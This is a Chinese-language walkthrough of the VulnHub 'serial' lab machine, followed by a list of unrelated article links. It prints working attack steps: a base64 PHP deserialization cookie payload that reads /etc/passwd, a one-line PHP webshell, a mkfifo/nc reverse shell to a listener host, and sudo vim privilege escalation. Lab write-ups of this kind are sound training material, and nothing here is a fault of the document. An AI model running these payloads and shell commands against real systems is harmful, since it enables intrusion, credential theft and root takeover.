当前位置: 首页 > news >正文

serial靶机教程

靶机下载地址

https://download.vulnhub.com/serial/serial.zip

主机发现

arp-scan -l

端口扫描

nmap 192.168.229.131 -A

根据对⽐可知serial的⼀个ip地址为192.168.47.143

该靶机开启了22端⼝和80端⼝

对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序的测试版暂且搁置

目录扫描

dirb http://192.168.229.131

访问网站

发现⼀个zip⽂件

解压查看

index.php⽂件中包含user.class.php⽂件且对cookie中的user参数进⾏了序列化和base64编码

user.class.php⽂件包含log.class.php⽂件且定义了Welcome和User两个类并调⽤了

log.class.php⽂件中的handler函数

log.class.php定义了Log类和成员变量type_log且handler函数对变量进⾏了⽂件包含和输出

没有得到有用的信息

访问原⽹站,⽤Burpsuite抓包查看cookie

发现其为base64编码,对其进行解码

O:4:"User":2:{s:10:".User.name";s:3:"sk4";s:9:".User.wel";O:7:"Welcome":0:{}}7.

构造payload,尝试读取passwd⽂件

O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:
8:"type_log";s:11:"/etc/passwd";}}

使⽤base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHd
lbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIj
t9fQ==

获取shell

在本机写一个txt

<?php system($_GET['cmd'];?>

在创建一个木马文件

<?phpclass Log {private $type_log = "http://本机ip/1.txt";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

访问php文件

在kali开启一个监听

反弹shell

?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.229.132
+8888+>/tmp/f

反弹成功

提权

查看系统版本,内核版本

切换到根目录

cd /
ls

查看文件

cat credentials.txt.bak

使用远程连接使用之前扫出来的21端口

ssh sk4@192.168.229.131

尝试进入root

用sudo vim,进⼊到命令模式输⼊!bash

以下则是提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • python-报数(赛氪OJ)
  • Nginx中proxy_pass的斜杠问题(最详细讲解)
  • C++:auto关键字、内联函数、引用、带默认形参值的函数、函数重载
  • Motionface ai工具有哪些?
  • 三相整流电路交流侧谐波仿真分析及计算
  • C语言入门基础题:最大公约数(三个数间取最大公约数)
  • C语言学习
  • vite.config.ts中proxy的rewrite理解
  • 【网络】网络的发展历程及其相关概念
  • 使用Response.Write实现在页面的生命周期中前后台的交互
  • Ubuntu小键盘消失,并且安装好搜狗输入法后无法打出中文的问题
  • 带头双向循环链表(一)
  • 前端(四):前后端分离开发(YAPI的使用)
  • 计算机网络中点到点与端到端协议的区别
  • web小游戏开发:拼图(四)对调和移动拼图玩法的实现
  • Java 内存分配及垃圾回收机制初探
  • JavaScript中的对象个人分享
  • Java超时控制的实现
  • java取消线程实例
  • js算法-归并排序(merge_sort)
  • Nacos系列:Nacos的Java SDK使用
  • Vue学习第二天
  • 测试如何在敏捷团队中工作?
  • 翻译:Hystrix - How To Use
  • 复习Javascript专题(四):js中的深浅拷贝
  • 系统认识JavaScript正则表达式
  • 延迟脚本的方式
  • 在Unity中实现一个简单的消息管理器
  • 责任链模式的两种实现
  • Prometheus VS InfluxDB
  • ​secrets --- 生成管理密码的安全随机数​
  • $(document).ready(function(){}), $().ready(function(){})和$(function(){})三者区别
  • (2024)docker-compose实战 (8)部署LAMP项目(最终版)
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (附源码)基于SpringBoot和Vue的厨到家服务平台的设计与实现 毕业设计 063133
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (每日一问)基础知识:堆与栈的区别
  • (南京观海微电子)——示波器使用介绍
  • (排序详解之 堆排序)
  • (算法)大数的进制转换
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)Android中使用ormlite实现持久化(一)--HelloOrmLite
  • (转)http-server应用
  • (转)一些感悟
  • .NET 5.0正式发布,有什么功能特性(翻译)
  • .net 7和core版 SignalR
  • .net core 管理用户机密
  • .NET Core 中插件式开发实现
  • .NET 材料检测系统崩溃分析
  • .NET 中的轻量级线程安全
  • .Net+SQL Server企业应用性能优化笔记4——精确查找瓶颈
  • .Net6 Api Swagger配置
  • .net6 当连接用户的shell断掉后,dotnet会自动关闭,达不到长期运行的效果。.NET 进程守护
  • .secret勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复
  • ??Nginx实现会话保持_Nginx会话保持与Redis的结合_Nginx实现四层负载均衡